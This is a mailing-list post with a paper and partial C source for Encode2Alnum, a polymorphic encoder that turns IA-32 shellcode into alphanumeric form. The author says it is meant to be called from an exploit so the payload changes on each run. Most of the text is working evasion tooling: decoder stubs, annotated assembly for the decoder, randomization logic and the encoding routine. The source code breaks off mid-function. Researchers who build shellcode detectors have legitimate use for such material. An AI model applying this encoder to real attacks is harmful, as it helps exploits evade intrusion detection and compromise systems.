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Message-ID: <BAY10-F8PD7Fjm0fwYd0000634c@hotmail.com>
From: mconover_001 at hotmail.com (m conover)
Subject: RE: On Polymorphic Evasion (attached inline this time)

=== Addendum

Thanks for pointing out the attachment was stripped. I'll include it below. 
Grep "===" for each file. Sorry about the wrapping and that stuff, if u want 
a zip/tgz of it then just email me.

It is meant to be used in API fashion from an exploit to modify the 
shellcode each time it is run. Entry point is char *Encode2Alnum(input_reg, 
OriginalShellcode, OriginalShellcodeLength, int Verbose) and it will return 
a alphanumerized morphed version of the original shellcode. If you call it 
repeatedly you'll see the actual payload will fully change each time but the 
stub less so.. it does change all variable parts, but there are parts of the 
decoder that are fixed (e.g., the longest string is "A3A7A2B70B7B"). The 
solution is to add variable size alphanumeric NOPs as discussed in 
polymorph_alnum.txt below, but this step was never implemented.

It its current form it will only work on Windows but of course it is trivial 
to change it to work on Unix if u remove windows.h and add typedefs for 
DWORD/BYTE/etc

=== Original post

Cool. I will also add to the discussion with an alphanumeric version written
with two others for experimentation, though it is limited in it doesn't vary
the length of the decoder stubs or encoded shellcode. spoonm is doing a
separate version--I think based on Berend's alpha--that will. Also, I did
not test it against any of the different shellcode detectors like Fnord, so
I would be curious to know if anyone tries. IMO "as to whether the detection
of polymorphic shellcode was indeed an appropriate component of an IDS", I
think there is enough prior art on it that it's not really a big deal to
publish or discuss code implementing it. It most likely better to have a
variety of generators to test the effectiveness of a shellcode detector. I
added a small blurb on addtional options for OS-independence with
alphanumeric shellcode for IA-32e/AMD-64 since it adds the new RIP-relative
addressing.

=== enc2alnum/polymorph_alnum.txt

Applying Polymorphism to Alphanumeric IA-32/IA-32e/AMD-64 Shellcode
Matt Conover

Rix (rix 2001) should be credited with being the pioneer of IA32 
alphanumeric shellcode and showing it is possible. His Phrack article was 
the first to demonstrate feasibility. What rix did could be more called a 
translator than an encoder. There was no fixed payload followed by a blob of 
encoded shellcode that needed to be decoded. In shellcode terms this was 
quite innovative but really blew up the shellcode size.

The next major step occurred when someone--unfortunately I don't know 
who--came up with a decoder that would modify the last byte of the decoder 
using an XOR to create a JNZ instruction and do looped decoding. This was to 
my knowledge the first compact alphanumeric encoder to follow rix's original 
translator. Both this decoder and Berend-Jan Wever's alpha decoder (Wever 
2004) are based on this technique. This makes the shellcode much more 
compact as well. The size of the encoded output shellcode is: EncoderSize + 
sizeof(OriginalShellcode) * 2. Thus, it roughly doubled the shellcode 
size--a vast improvement over the first generation. The main limitation is 
that it was stack overflow specific. It was assuming that the shellcode was 
called immediate following a ret (and thus [esp-4] contains the shellcodes 
address).

Berend-Jan Wever earlier this year released an alphanumeric decoder which is 
now also being used in the metasploit framework. In my opinion, the main 
contribution of his encoder was the creation of an alphanumeric 
Windows-specific GetPC stub. It is using an XOR trick like the one 
demonstrated by Costin Ionescu (Ionescu 2003). Since that time he has made 
some other major contributions, primarily combining his alphanumeric decode 
with a Unicode decoder, thus creating the first alphanumeric Unicode decoder 
that I Know of

The approach we took was entirely using stubs. The assumption was that in 
almost all exploitation cases, it would be possible to reference the decoder 
relative to a register. We created a stub to represent all registers, direct 
or indirect, with positive or negative offsets. For example, take the case 
of EAX. We have a stub for each of these cases:
	EAX
	EAX+offset
	EAX-offset
	[EAX]
	[EAX+offset]
	[EAX-offset]

This is represented as:
	{ EAX,
		EAXStub,
		PreEAXPositiveOffsetStub, INC_ECX, PostEAXPositiveOffsetStub,
		PreEAXNegativeOffsetStub, DEC_EAX, PostEAXNegativeOffsetStub,
		EAXIndirectStub,
		PreEAXIndirectPositiveOffsetStub, INC_ECX, 
PostEAXIndirectPositiveOffsetStub,
		PreEAXIndirectNegativeOffsetStub, DEC_EAX, 
PostEAXIndirectNegativeOffsetStub
	},

The structure to represent each register is:
typedef struct _REG_STUB
{
	BYTE RegType;
	BYTE *DirectStub;
	BYTE *PreDirectPositiveOffsetStub;
	BYTE DirectPositiveOffsetOpcode;
	BYTE *PostDirectPositiveOffsetStub;
	BYTE *PreDirectNegativeOffsetStub;
	BYTE DirectNegativeOffsetOpcode;
	BYTE *PostDirectNegativeOffsetStub;
	BYTE *IndirectStub;
	BYTE *PreIndirectPositiveOffsetStub;
	BYTE IndirectPositiveOffsetOpcode;
	BYTE *PostIndirectPositiveOffsetStub;
	BYTE *PreIndirectNegativeOffsetStub;
	BYTE IndirectNegativeOffsetOpcode;
	BYTE *PostIndirectNegativeOffsetStub;
} REG_STUB;

These are the stubs for eax:
BYTE EAXStub[] = "P"; // push eax
BYTE EAXIndirectStub[] = "Ph!!!!X*****P*a30VX5!!!!P";
BYTE PreEAXPositiveOffsetStub[] = "PY"; // inc eax is not possible, so do 
push eax; pop ecx
BYTE PostEAXPositiveOffsetStub[] = "Q"; // do push ecx
BYTE PreEAXNegativeOffsetStub[] = "";
BYTE PostEAXNegativeOffsetStub[] = "P";
BYTE PreEAXIndirectPositiveOffsetStub[] = "PY"; // inc eax is not possible, 
so do push eax; pop ecx
BYTE PostEAXIndirectPositiveOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P"; // 
do same as ecx case
BYTE PreEAXIndirectNegativeOffsetStub[] = "";
BYTE PostEAXIndirectNegativeOffsetStub[] = "Ph!!!!X*****P*a30VX5!!!!P";

Note: the remainder of the stubs is in the appendix

The only limitation here is that offset needs to be smaller than 60 or so to 
stay within the alphanumeric range. We then applied this to all registers 
(eax, ebx, ecx, edx, esi, edi, ebp, esp). So the only time this technique 
will not work is if the address of the decoder can not be described in terms 
of a register, or worse, it is unpredictable.

In the case that it is difficult to predict or describe the location of the 
decoder relative to a register, a GetPC trick is necessary. There is one 
major problem, though: there is no known generic OS-independent GetPC. On 
Windows this could be done using the SEH ovewrite trick, which Berend-Jan 
Wever's alpha encoder was doing. The biggest problem is that it is costly in 
terms of size. The only alphanumeric opcodes to write an arbitrary address 
into an arbitrary address (e.g., like the 4-byte overwrites used in heap 
exploits) involves the following steps:
1. Initializing a register to 0
2. XOR'ing it with some 32-bit alphanumeric address (A1).
3. XOR'ing it again with some other 32-bit alphanumeric address (A2) such 
that A1 XOR A2 = WhereToWrite address
4. Repeating this process to get the WhatToWrite address
5. Clear out the contents at address [WhereToWrite] by doing do write memory 
type XORs
6. Set the contents of at address [WhereToWrite] = WhatToWrite using another 
XOR

This is obviously a lot of work to get the decoder address and it doesn't 
work on anything other than Windows.

+++ THE MERGING OF ALPHANUMERIC AND POLYMORPHIC ENCODING

Since writing alphanumeric decoders by hand is tedious, the same encoder is 
likely going to be reused repeatedly. Consider these string from Berend-Jan 
Wever's alpha encoder:
w32_SEH_GetPC_mixed_code: 
VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089
alpha_decoder_main_code1: 
VTX630VX4A0B5HH0B20BBVX2BCBH4A2AC0ACTBCQB0ACAVX4Z8BCJOM
alpha_decoder_main_code2: 
VTX630VX4A0B4HH0B10BAVX2BBBH4A2AB0ABTBBQB0ABAVX4Z8BBJOM

Now if you were to look at metasploit 2.0 framework developed by HD Moore 
and spoonm, you would find the following:
VTX630VX4A0B6HH0B30BCVX2BDBH4A2AD0ADTBDQB0ADAVX4Z8BDJOM

The similarity between the two different is quite obvious. The reason? It 
takes time to write a good encoder, debug it, etc. Once a functional encoder 
is developed, it is unlikely to change much... even as it is passed among 
different shellcode writers. The likelihood of someone modifying the encoder 
is obviously inversely proportional to the complexity of the encoder. 
Therein lies the greatest weakness. Alphanumeric shellcode is afforded one 
primary advantage, however: the instruction set is difficult to distinguish 
from benign network traffic. Consider how difficult a task it is for a NIDS 
to recognize alphanumeric shellcode within the contents of a MIME via email 
or HTTP. It would be much too expensive to actually decode all the MIME 
traffic and then validate the decoded data is meaningful. Thus, a NIDS will 
rely on covering all known variants of the encoder.

There are basically only three steps left in the evolution of alphanumeric 
shellcode on IA32 that I can see:
1. Combing alphanumeric encoders with other restricted encoders
	Here I mean making Unicode alphanumeric shellcode encoder, an alphanumeric 
shellcode that resembles sentences, etc.
	Berend-Jan Wever has already made many combinatinos of Unicode/alphanumeric 
encoders and is well on his way with the second, so I believe this step will 
soon be completed for the majority of useful cases.

2. An OS-independent GetPC trick
	This is one of the two fundamental problems of alphanumeric shellcode 
encoders. I do not believe anyone will ever discover an OS-independent GetPC 
trick for pure IA32. There are some new possibilities with the upcoming 
IA-32 with 64-bit extensions that will be discussed later.

3. Becoming polymorphic
	This is the other fundamental problem of alphanumeric shellcode encoders. 
First, the encoder cannot be fixed because this is easy to detect. Second, 
an input payload must result in a different encoded payload each time. 
Addressing these problems is the primary aim of this paper.

+++ Making the encoder polymorphic

Since alphanumeric shellcode can already masquerade well with mediums such 
as web traffic and email, the only real thing that needs to be addressed is 
to reduce the fixed part of the encoder to a size that is so small that it 
infeasible to use signature reliably. This was done in two steps. First, I 
added a pseudo-language to represent wildcard characters:
RANDOMIZER g_Randomizers[] =
{
	{ '*', 0, FALSE, INDIRECT_CHARSET },
	{ '!', 3, TRUE, INDIRECT_CHARSET },
	{ 0, 0, FALSE, NULL }
};

Here are a few examples. First the decoder itself:
BYTE g_Decoder[] = "Zh!!!!X5!!!!H4C0B6RYkA7@...7A2B70B7Bh!!!!X5!!!!4_8A7ub";

Second, a sample stub:
BYTE EAXIndirectStub[] = "Ph!!!!X*****P*a30VX5!!!!P";

This is the structure:
typedef struct _RANDOMIZER
{
	BYTE RandomizeKey;
	DWORD Extra;
	BOOL ReplaceNextMatch;
	BYTE *CharacterSet;
} RANDOMIZER;

Here, the first field (RandomizeKey) is the special character and the last 
entry (CharacterSet) indicates the character set to replace the special 
character with. The middle two entries are bit more difficult to explain. 
The second field (Extra) indicates the subsequent bytes (excluding the 
matched RandomizeKey) that are included. This is used to randomize them in 
groups. The ReplaceNextMatch is used to replace the next occurence of the 
RandomizeKey with the same values. This is needed for XOR keys. Thus:
push !!!!
pop eax
xor eax, !!!!

Means that both !!!! will have the same value but that each individual '!' 
will have a different value.

+++ Making randomized encodings

As with cryptography, it is ideal to have ensure there is little visible 
correlation between input and output. First, encoding the same thing twice 
should look no similar than two different inputs. Second, repeating 
sequences should not be visibile in the output. Thus if the input shellcode 
had a NOP slide, this should appear no different than the rest of encoded 
shellcode.

Similar to base64, converting from an input base of 8 bits (0x00-0xFF) to an 
output base of 6 bits (A-Za-z0-9) takes two bytes.

The first step is to pick an XOR key that can be used to encode every 
possible input key. Next, find the number of ways to do encoding. Consider 
what the decoder does:
	DecodedByte = EncodedByte[0] * Key;
	DecodedByte ^= EncodedByte[1];

So it is a matter of solving the reverse equation:
	for (EncodedByte1 = '0'; EncodedByte1 <= 'z'; EncodedByte1++)
	{
		for (EncodedByte2 = '0'; EncodedByte2 <= 'z'; EncodedByte2++)
		OriginalByte2 = EncodedByte1 * Key;
		OriginalByte2 ^= EncodedByte2;
		if (OriginalByte == OriginalByte2) matched++;
	}
	EncodingCounts[OriginalByte] = matched;

That is how the map is created. Then during the encoding, everytime the 
input byte is encountered, a random value less than the total number of 
possible encoding is chosen and that is used to select the encoding bytes. 
Thus, a sequence of "AAAAAA" would produce entirely differently characters 
for each 'A' (assuming there was more than one encoding). It would not be 
possible to recognize repeating patterns such as NOP slides from the output, 
for example.

The final decoder looks like this:
/*
// edx points the beginning of the shellcode payload 
(stubs+decoder+shellcode)
Z     01: pop         edx
// set eax to 0xffffffff
h!!!!	02: push        XORA
X     03: pop         eax
5!!!! 04: xor         eax,XORA
H     05: dec         eax
// change line 22 to jnz
4C    06: xor         al,43h
0B6   07: xor         byte ptr [edx+36h],al
// set ecx to point to shellcode
R     08: push        edx
Y     09: pop         ecx
kA7@  10: imul        eax,dword ptr [ecx+37h],KEY
A     11: inc         ecx
3A7	  12: xor         eax,dword ptr [ecx+37h]
A     13: inc         ecx
2B7   14: xor         al,byte ptr [edx+37h]
0B7   15: xor         byte ptr [edx+37h],al
B     16: inc         edx
h!!!!	17: push        XORB
X     18: pop         eax
5!!!! 19: xor         eax,XORB
4_    20: xor         al,TERMINATOR
8A7   21: cmp         byte ptr [ecx+37h],al
ub    22: jnz         _OriginalShellcode+5Eh // changed by lines 4 and 5

_ = terminator
@ = key
!!!! = XOR_VALUES
*/

Each stub is responsible for getting the address of the shellcode onto the 
stack. The first instruction of the decoder is to pop the address of the 
shellcode and then begin operating on it.

+++ Adding NOPs

Admittedly, this is still not good enough. There is still a fairly long and 
distinct string in the encoder:
H4C0B6RYkA7@...7A2B70B7Bh

The solution here is to add random alphanumeric NOPs of varying length at 
random offsets in the encoder. The only generic IA-32 alphanumeric NOPs 
involve PUSH, POP, INC, and DEC (alphanumeric XOR requires a memory 
address):
1. push reg_a; pop reg_a
2. inc reg_a; dec reg_a;
3. push reg_a
   push reg_b
   pop reg_a
   pop reg_b
   push reg_a
   push reg_b
   pop reg_a
   pop reg_b
4. #3 but with an INC before the first set of PUSH instructions and DEC 
after the last set of POP instructions
5. #4 but with DEC/INC reversed


+++ POSSIBILITIES WITH IA-32E AND OS-INDEPENDENT ALPHANUMERIC SHELLCODE

AMD-64 and Intel's IA-32 with 64-bit extensions (hereafter referred to as 
IA-32e) adds 64-bit support to the IA-32 architecture. It is the same as 
IA-32 with a few additional opcodes, a new opcode prefix (called REX), 
additional 64-bit registers (RAX, RBX, RCX, RIP, RSI, RDI, etc.), and the 
ability to reference 64-bit addresses (using the REX prefix). Some opcodes 
implicitly use 64-bit addresses and by default the operand size is the same 
as IA-32. This makes it possible for most IA32 code to run without any 
problems.

The 64-bit mode (also known as "long mode") is enabled from 32-bit protected 
mode by:
1. Enabling page address extensions (setting the PAE bit in CR4)
2. Setting CR3 to point to a page table with 64-bit page table entries 
(which must reside with the 4GB of memory)
3. Setting the LME bit in the EFER MSR (MSR 0xc0000080)

There are two important operating modes. One is compability mode, where the 
processor works just like IA-32--so there is no reason to discuss this mode 
further. The newer mode is the 64-bit mode that enables the 64-bit address 
space. To be placed into 64-bit mode, the following steps msut be taken.

Now, so far what I've said has little effect on writing shellcode. There is 
one MAJOR change, however: the creation of the RIP (64-bit instruction 
pointer) relative addressing mode. RIP-relative offsets (hereafter called 
RIP offset) are just like branch instructions. It is relative to the next 
instruction in memory. Thus [RIP+0] references the opcode of the next 
instruction.

For non-alphanumeric shellcode, this is only a minor improvement. It 
eliminates the need to use a "call 0; pop reg" type tricks frees up a 
register. For alphanumeric shellcode this solves the bigger problem of 
having no OS-independent GetPC ONLY IF it is not a string operation being 
exploited. By this I mean, it needs to be possible to have more than one NUL 
byte occur in the shellcode. If this is not possible, then the RIP-relative 
addressing mode will probably not help much. More on this later.

The REX prefix is a new opcode prefix which must come after any legacy IA-32 
opcode prefixes. It is used to add various 64-bit extensions:
	[0] REX.B = adds 1-bit to base in (1) ModRM.rm, (2) SIB.base, and (3) 
opcode.reg for register opcodes with no ModRM byte
	[1] REX.X = adds 1-bit to SIB.index
	[2] REX.W = 64-bit operands
	[3] REX.R = adds 1 bit to ModRM.reg
	[4-7] Must be 0100 (4)

The REX prefixes can thus range from 0x40-0x4f. All but one of them (0x40) 
is alphanumeric: 0x41 = 'A', ..., 0x4F = 'O'. The possible alphanumeric REX 
bytes are:
	REX.W = 01001xxx = 0x48-0x4f = H to O
	REX.R = 0100x1xx = 0x44-0x47, 0x4c-0x4f = D to G, L to O
	REX.X = 0100xx1x = 0x42, 0x43, 0x46, 0x47, 0x4a, 0x4b, 0x4e, 0x4f = B, C, 
F, G, J, K, N, O
	REX.B = 0100xxx1 = 0x41, 0x43, 0x45, 0x47, 0x49, 0x4b, 0x4d, 0x4f = A, C, 
E, G, I, K, M, O

+++ The magic '5'

	The ModRM byte is broken into three fields: [mod = high 2 bits][reg = 3 
bits][rm = low 3 bits]

	In IA-32 (or IA-32e in compatibility mod), ModRM.mod = 00 and ModRM.rm = 
101 indicates the DS:Disp32 addressing mode. That means it is a 32-bit 
offset relative to address 0 in the data segment. For all x86 32-bit 
operating systems that I'm aware, the address space is flat, so this 
represents an absolute address.

	In IA-32e in 64-bit mode, DS:Disp32 has been replaced by RIP-relative 
addressing. Thus the only ModRM byte possibilities for RIP-relative 
addressing are 00reg101.	There is just ONE alphanumeric character in this 
range: the magic 5. ASCII '5' = 0x35 = 00110101

	Note that REX.R and REX.B have no physical affect on the ModRM byte since 
the additional bit is in the REX prefix
	Thus, '5' is always the only alphanumeric ModRM byte possible, regardless 
of the REX prefix (if any)

So the ModRM byte is immediately followed by a 32-bit displacement:
"<prefix bytes><opcode>5<AABBCCDD>"
Here opcode is an opcode type that is followed by a ModRM byte (not all do), 
'5' is the ModRM byte, and AABBCCDD is the 32-bit displacement (which should 
be all alphanumeric of course).

Now we've reached the most appropriate time to discuss the problem with 
using RIP offsets for alphanumeric shellcode that I alluded to earlier. The 
only addressing mode that is relative to the instruction pointer uses 32-bit 
displacements. The limitation this causes greatly varies depending on 
whether or not it is possible to send multiple NUL bytes.

For shellcode through strings (only a terminating NUL byte allowed):
The RIP offset will be between 0x30303030-0x7a7a7a7a since the offset must 
not contain NULs (or else the string will be terminated) and 
non-alphanumeric characters. The question then is whether or not this 
provides any advantage over using the existing possibilities. So far as I 
can tell, the answer is no. To make use of such large offsets you have know 
the approximate location of the shellcode. If you already have this 
information available, you can just reference the location by absolute 
address through a register and XOR.

For shellcode with multiple NUL bytes allowed:
If the instruction set is alphanumeric characters plus an arbitrary number 
of NUL bytes, then RIP offsets can make things really interesting. It is 
then possible to construct useful RIP offsets.

To do looping, the use of a conditional jump is necessary to decode all the 
encoded shellcode. This is done through self-modification. To do 
self-modification, the decoder previously needed to know its own address. 
When NUL bytes are allowed, this can be done cleanly with RIP offsets. The 
only instruction available to arbitrarily modify memory is XOR. These are 
the formats of XOR available:
XOR  [RIP+AABBCCDD], al   00110000  00110101  DDBBCCAA = "05DDBBCCAA"
XOR  [RIP+AABBCCDD], eax  00110001  00110101  DDBBCCAA = "15DDBBCCAA"
XOR  al,[RIP+AABBCCDD]    00110010  00110101  DDBBCCAA = "25DDBBCCAA"
XOR  eax, [RIP+AABBCCDD]  00110011  00110101  DDBBCCAA = "35DDBBCCAA"
                          ^- opcode ^- ModRM  ^- 32-bit displacement

Note: the 32-bit displacement is written backwards in memory because IA32 is 
a little endian architecture

So now lets look at what the encoder was previously doing to create the JNZ:
// edx points the beginning of the shellcode payload 
(stubs+decoder+shellcode)
Z     01: pop         edx
// set eax to 0xffffffff
h!!!!	push        XORA
X     pop         eax
5!!!! xor         eax,XORA
H     dec         eax
// change line 22 to jnz
4C    xor         al,43h
0B6   xor         byte ptr [edx+36h],al

So the shellcode stubs were responsible for pushing the address of the 
decoder onto the stack. Once the address of the decoder is known, offset 
0x36 of the decoder is set to JNZ. Using the new RIP relative addressing, 
the decoder can be changed to:
// pop edx is no longer needed
// set eax to 0xffffffff
h!!!!       push        XORA
X           pop         eax
5!!!!       xor         eax,XORA
H           dec         eax
// change line 22 to jnz
4C          xor         al,43h
056\0\0\0   xor         byte ptr [RIP+36h],al

Since it is no larger necessary to determine the address of the shellcode, 
the stubs can be removed and anything referencing [edx+off] in the decoder 
will be changed to [RIP+off]. It will make the shellcode larger since all 
RIP offsets are 32-bit displacements, but it will make the shellcode 
OS-independent.

+++ New IA-32e NOPs

1. For certain types of instructions the REX prefix is ignored. For these 
cases, 0x41-0x4f can be used as NOPs. Some common shellcode cases are: POP 
reg, POP mem, PUSH imm8, PUSH imm32, PUSH reg, PUSH mem, PUSH reg, RET, 
CALL, JMP, Jcc (conditional jumps), LOOP, and LOOPcc.

When using the REX prefix as a NOP for alphanumeric shellcode, the PUSH, 
POP, and Jcc instructions are usable. This was well covered in rix's paper.

2. Using the operand size prefix (0x66) with REX.W set (0x48, 0x49, 0x4a, 
0x4b, 0x4c, 0x4d, 0x4e, 0x4f)

3. The actual value of the REX prefix byte can be varied without changing 
the meaning for certain instructions. I'll call these REX NOPs.

	REX.R is ignored when (1) there is no ModRM byte (2) ModRM.reg does not 
specify a general purpose, XMM, control, or debug register. Note that for 
alphanumeric shellcode, only instructions involving a general purpose 
register are relevant.
	REX.X are ignored when there is SIB byte
	REX.B is ignored when there is no ModRM or SIB byte

4. Though it has no application to alphanumeric shellcode, some segment 
override prefixes are ignored in 64-bit mode: 0x26, 0x2E, 0x36, 0x3E 
(segment overrides for ES, CS, SS and DS, respectively)

Here is the alphanumeric instruction set that can utilize the REX prefix 
(0x41-0x4f) as a NOP, sorted alphabetically:
JA disp8   = "w<disp8>" (any REX prefix)
JAE disp8  = "s<disp8>" (any REX prefix)
JB disp8   = "r<disp8>" (any REX prefix)
JBE disp8  = "v<disp8>" (any REX prefix)
JNZ disp8  = "u<disp8>" (any REX prefix)
JNO disp8  = "q<disp8>" (any REX prefix)
JNS disp8  = "y<disp8>" (any REX prefix)
JO disp8   = "p<disp8>" (any REX prefix)
JPE disp8  = "z<disp8>" (any REX prefix)
JS disp8   = "x<disp8>" (any REX prefix)
JZ disp8   = "t<disp8>" (any REX prefix)
POP eax    = "X" (REX.W and REX.R should not be set)
POP ecx    = "Y" (REX.W and REX.R should not be set)
POP edx    = "Z" (REX.W and REX.R should not be set)
PUSH imm8  = "j<imm8>" (any REX prefix)
PUSH imm32 = "h<imm32>"
PUSH eax   = "P"
PUSH ebx   = "S"
PUSH ecx   = "Q"
PUSH edx   = "R"
PUSH esi   = "V"
PUSH edi   = "W"
PUSH ebp   = "U"
PUSH esp   = "T"

Note that for imm8, imm32, disp8, and disp32 all bytes need to be 
alphanumeric. The imm32 and disp32 are stored with the least signature byte 
first ("<bits0_7><bits8_15><bits16_23><bits24_31>").

When inserting a REX NOP in front of a particular instruction, the engine 
should:
1. First, never generate REX prefixes of 0x41-0x47 ('A' to 'G'). This will 
make cause problems in most cases.
2. Restrict the possible REX values depending on the instruction type.
3. Adjust the offsets in relative branch instructions. To account for the 
inserted REX NOPs. If the offset is negative, decrement the offset by the 
number of REX NOPs inserted before that location. If the offset is positive, 
increment the offset by the number of REX NOPs inserted after that location.

+++ ACKNOWLEDGEMENTS

Greets always to gera, oded, and noir. Kudos to rix, Berend-Jan Wever, 
spoonm, CLET, and the others that have/are raising the bar for alphanumeric 
decoders.

+++ WORKS CITED

CLET Team. Aug. 2003. Polymorphic Shellcode Engine. Phrack 
<http://www.phrack.org/show.php?p=61&a=9>.
Ionescu, Costin. 1 July 2003. Re: GetPC code (was: Shellcode from ASCII). 
Vuln-Dev <http://www.securityfocus.com/archive/82/327348>
rix. Aug.  2001. Writing ia32 alphanumeric shellcodes. Phrack 
<http://www.phrack.org/show.php?p=57&a=15>.
Wever, Berend-Jan. 28 Jan. 2001. Alphanumeric GetPC code. Vuln-Dev 
<http://www.securityfocus.com/archive/82/351528>.

=== enc2alnum/enc2alnum.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include "enc2alnum.h"
#define ENC2ALNUM_COPYRIGHT "enc2alnum: Copyright (C) 2003-2004,\nMatt 
Conover, Avri Schneider, Soren Macbeth\n\n"

int reg_type; // eax, ebx, etc
int reg_indirect; // if set to 1, use [reg]; else use reg
int reg_offset; // if reg_negative is set, use reg-offset; else use 
reg+offset
int reg_negative;

void Encode2AlnumUsage()
{
	fprintf(stderr, ENC2ALNUM_COPYRIGHT);
	fprintf(stderr, "ERROR in Encode2Alnum (invalid input_reg)\n\n");
	fprintf(stderr, "input_reg must be one of the following:\n");
	fprintf(stderr, " reg = the register points to the shellcode\n");
	fprintf(stderr, "\tSupported registers are eax, ebx, ecx, edx, esi, edi, 
ebp, esp\n");
	fprintf(stderr, " [reg] = reg points to a pointer to the shellcode\n");
	fprintf(stderr, "\tSupported registers are the same as above\n");
	fprintf(stderr, " reg+X\n");
	fprintf(stderr, " reg-x\n");
	fprintf(stderr, " [reg+X]\n");
	fprintf(stderr, " [reg-x]\n\n\n");
	fprintf(stderr, "\tenc2alnum [eax]\n");
	fprintf(stderr, "Example - Assumes ecx-8 is the shellcode address:\n");
	fprintf(stderr, "\tenc2alnum ecx-8\n");
}

BOOL ParseShellcodeLocation(char *reg_input)
{
	char *end_ptr, *orig_source, *source;
#ifndef TESTING
	int i;
	BYTE a;
#endif

	if (!reg_input) return FALSE;
	orig_source = source = strdup(reg_input);

	if (source[0] == '[')
	{
		source++;
		reg_indirect = 1;
	}

	if (toupper(source[0]) != 'E') goto abort;

	source++;
	source[0] = toupper(source[0]);
	source[1] = toupper(source[1]);

	if (strncmp(source, "AX", 2) == 0) reg_type = EAX;
	else if (strncmp(source, "BX", 2) == 0) reg_type = EBX;
	else if (strncmp(source, "CX", 2) == 0) reg_type = ECX;
	else if (strncmp(source, "DX", 2) == 0) reg_type = EDX;
	else if (strncmp(source, "SI", 2) == 0) reg_type = ESI;
	else if (strncmp(source, "DI", 2) == 0) reg_type = EDI;
	else if (strncmp(source, "SP", 2) == 0) reg_type = ESP;
	else if (strncmp(source, "BP", 2) == 0) reg_type = EBP;
	else goto abort;
	source += 2;

	if ((reg_indirect && *source == ']') || (!reg_indirect && !*source)) goto 
finished;

	if (*source == '-') reg_negative = 1;
	else if (*source == '+') reg_negative = 0;
	else goto abort;
	source++;

	for (end_ptr = source; *end_ptr && isdigit(*end_ptr); end_ptr++);
	if (reg_indirect && *end_ptr != ']') goto abort;
	else if (!reg_indirect && *end_ptr) goto abort;
	*end_ptr = '\0';

	reg_offset = atoi(source);

finished:
	free(orig_source);
	return TRUE;

abort:
	if (orig_source) free(orig_source);
	Encode2AlnumUsage();
	return FALSE;
}

void UpdateOffsets(BYTE *Decoder, DWORD StubLength)
{
	BYTE OffsetA = JNZ_VALUEA + (BYTE)StubLength;
	BYTE OffsetB = JNZ_VALUEB + (BYTE)StubLength;
	Decoder[JNZ_OFFSETA] = OffsetA;
	Decoder[JNZ_OFFSETB_1] = OffsetB;
	Decoder[JNZ_OFFSETB_2] = OffsetB;
	Decoder[JNZ_OFFSETB_3] = OffsetB;
	Decoder[JNZ_OFFSETB_4] = OffsetB;
	Decoder[JNZ_OFFSETB_5] = OffsetB;
}

// For format of input_reg, see Encode2AlnumUsage
// NOTE: the caller must free the return value
BYTE *Encode2Alnum(char *input_reg, BYTE *OriginalShellcode, DWORD 
OriginalShellcodeLength, BOOL Verbose)
{
	DWORD StubLength, DecoderLength;
	DWORD i, j, index = 0;
	BYTE EncodedByte[2];
	BYTE *InStub = NULL;
	BOOL BadKey = TRUE;
	BYTE *EncodedShellcode;
	DWORD EncodedShellcodeLength;
#ifdef TESTING
	BYTE OriginalByte;
	BYTE *DecodedShellcode;
	DWORD DecodedShellcodeLength;
#endif

	if (!ParseShellcodeLocation(input_reg)) return NULL;

	srand(GetTickCount());
	StubLength = GetStubLength();
	DecoderLength = strlen(g_Decoder);
	EncodedShellcodeLength = StubLength + DecoderLength + 
(OriginalShellcodeLength)*2 + 1;
	EncodedShellcode = malloc(EncodedShellcodeLength+1);
	if (!EncodedShellcode)
	{
		printf("Error allocating %d bytes\n", EncodedShellcodeLength+1);
		return NULL;
	}

	while (BadKey)
	{
		memset(EncodedShellcode, 0, EncodedShellcodeLength+1);
		if (StubLength > 0 && !CopyStub(EncodedShellcode, StubLength)) return 
NULL;

		if (!RandomizeDecoder(g_Decoder, DecoderLength)) return NULL;
		UpdateOffsets(g_Decoder, StubLength); // TODO: remove

		// Copy decoder after stub
		memcpy(EncodedShellcode+StubLength, g_Decoder, DecoderLength);

		// Check stub and decoder
		for (i = 0; EncodedShellcode[i]; i++)
		{
			if (!isalnum(EncodedShellcode[i]))
			{
				fprintf(stderr, "ERROR: offset %d of stub+decoder != alphanumeric\n", 
i);
				assert(0);
				return NULL;
			}
		}

		memset(EncodingCounts, 0, 256);
		for (i = 0; i < 256; i++) ComputeEncodingCount((BYTE)i);

		index = strlen(EncodedShellcode);
		EncodedByte[0] = EncodedByte[1] = 0;
		for (i = 0, j = 0, BadKey = FALSE; i < OriginalShellcodeLength; i++, j += 
2)
		{
#ifdef TESTING
			OriginalByte = OriginalShellcode[i];
#endif
			if (!EncodeTo2Bytes(OriginalShellcode[i], EncodedByte))
			{
				BadKey = TRUE;
				break;
			}
			assert(isalnum(EncodedByte[0]) && isalnum(EncodedByte[1]));
			EncodedShellcode[index+j] = EncodedByte[0];
			EncodedShellcode[index+j+1] = EncodedByte[1];
#ifdef TESTING
			assert(DecodeToByte(EncodedByte) == OriginalByte);
#endif
		}

		// If BadKey was not reset it will fall out of the loop
	}

	EncodedShellcode[index+j] = Terminator;
	assert(index+j+1 == EncodedShellcodeLength);

	if (Verbose)
	{
		printf("BYTE EncodedShellcode[] = // encoded %d bytes\n\t\"",
			EncodedShellcode, OriginalShellcodeLength);
		for (i = 0; i < EncodedShellcodeLength; i++)
		{
			printf("%c", (BYTE)EncodedShellcode[i]);
			if (!((i + 1) % 64)) printf("\"\n\t\"");
		}
		printf("\";\n\n");
	}

#ifndef TESTING
	// Check stub+decoder+encodedshellcode
	for (i = 0; EncodedShellcode[i]; i++)
	{
		if (!isalnum(EncodedShellcode[i]))
		{
			fprintf(stderr, "ERROR: EncodedShellcode[%d] = 0x%02x (not 
alphanumeric)\n", i, EncodedShellcode[i]);
			assert(0);
			return NULL;
		}
	}
	assert(i == EncodedShellcodeLength);
#endif


#ifdef TESTING
	TestStubs(EncodedShellcode);

	DecodedShellcodeLength = EncodedShellcodeLength - DecoderLength;
	DecodedShellcodeLength /= 2;

	if (Verbose) printf("\nDecoded %d bytes to %d bytes\n", 
EncodedShellcodeLength, DecodedShellcodeLength);
	assert(OriginalShellcodeLength == DecodedShellcodeLength);
	DecodedShellcode = (BYTE *)malloc(DecodedShellcodeLength+1);
	if (!DecodedShellcode)
	{
		printf("Failed to allocate %d bytes\n", DecodedShellcodeLength+1);
		return -1;
	}
	memset(DecodedShellcode, 0, DecodedShellcodeLength+1);
